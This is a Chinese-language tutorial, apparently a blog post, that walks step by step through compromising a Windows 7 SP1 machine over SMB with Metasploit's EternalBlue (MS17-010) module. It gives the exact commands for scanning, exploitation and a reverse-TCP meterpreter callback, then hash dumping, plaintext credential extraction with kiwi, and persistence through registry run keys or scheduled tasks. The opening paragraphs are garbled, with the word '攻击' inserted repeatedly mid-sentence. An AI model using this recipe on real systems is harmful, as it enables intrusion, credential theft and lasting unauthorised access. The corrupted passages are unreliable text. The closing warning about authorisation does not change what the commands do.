Metasploit 的攻击 msfconsole 至今仍是内网渗透里最顺手的工具之一。Win7 这台机器,攻击补丁没打全的攻击话,拿 shell 就是攻击几分钟的事。下面记录一次真实环境下的攻击操作过程,目标是攻击一台开了 445 端口的 Win7 SP1 虚拟机。
先启动 msfconsole。攻击命令行敲下去,攻击等它加载完模块库,攻击出现 msf6 > 提示符就算准备好了。攻击第一件事不是攻击急着打,而是攻击确认目标到底暴露了什么。用 db_nmap 扫一遍比盲目猜端口靠谱得多:
db_nmap -sV -p 445 192.168.1.105 结果很明确,攻击445 开着,攻击系统指纹指向 Windows 7 SP1 x64。攻击这个组合配上没打 MS17-010 补丁的话,基本等于门没锁。
搜索并选用 EternalBlue 模块
直接搜 ms17_010:
search ms17_010 列表里会出来好几个,exploit/windows/smb/ms17_010_eternalblue 是主攻手。用它:
use exploit/windows/smb/ms17_010_eternalblue 进去之后先看 show options。必填的就 RHOSTS 和 payload 相关的几个。RHOSTS 填目标 IP,LHOST 填本机在目标网段能回连的地址。这里有个坑,LHOST 别填 127.0.0.1,目标回连不过来。
set RHOSTS 192.168.1.105 set LHOST 192.168.1.100 set payload windows/x64/meterpreter/reverse_tcp payload 选 meterpreter 而不是普通 shell,后面提权、抓密码、开远程桌面都方便。
执行与回连
敲 run 或者 exploit。屏幕上会刷一堆 [+] 号,看到 Meterpreter session 1 opened 就说明进去了。这时候提示符变成 meterpreter >。
先确认下自己是谁:
getuid 如果返回 NT AUTHORITY\SYSTEM,恭喜,直接就是最高权限。EternalBlue 这个漏洞本身就以 SYSTEM 权限执行代码,省了提权那一步。要是返回普通用户,那就得再走 getsystem 或者本地提权模块。
抓密码与维持访问
SYSTEM 权限下直接 load kiwi 或者用 hashdump:
hashdump NTLM 哈希就出来了。拿去 cmd5 或者 hashcat 跑,弱密码几秒就出明文。想直接读明文的话,load kiwi 然后 creds_all,比 hashdump 直观。
为了不掉线,顺手做个持久化。meterpreter 里 run persistence -U -i 10 -p 4444 -r 192.168.1.100,不过 Win7 上这个模块有时候会被杀软拦。更稳的做法是直接注册表加个启动项,或者用 schtasks 建个计划任务。这些操作在 meterpreter 的 shell 里都能做。
几个实际会卡住的地方
目标开了防火墙的话,445 可能被过滤,nmap 扫出来是 filtered 而不是 open,这种情况 EternalBlue 打不进去。还有,Win7 如果是 32 位系统,payload 得换成 windows/meterpreter/reverse_tcp,用 x64 的会连不上。另外虚拟机里做实验记得把网络模式设成桥接或者 NAT,仅主机模式有时候回连地址会乱。
最后说一句,这套东西在真实网络里用之前,确保你有书面授权。没授权就是犯罪,别拿“技术学习”当挡箭牌。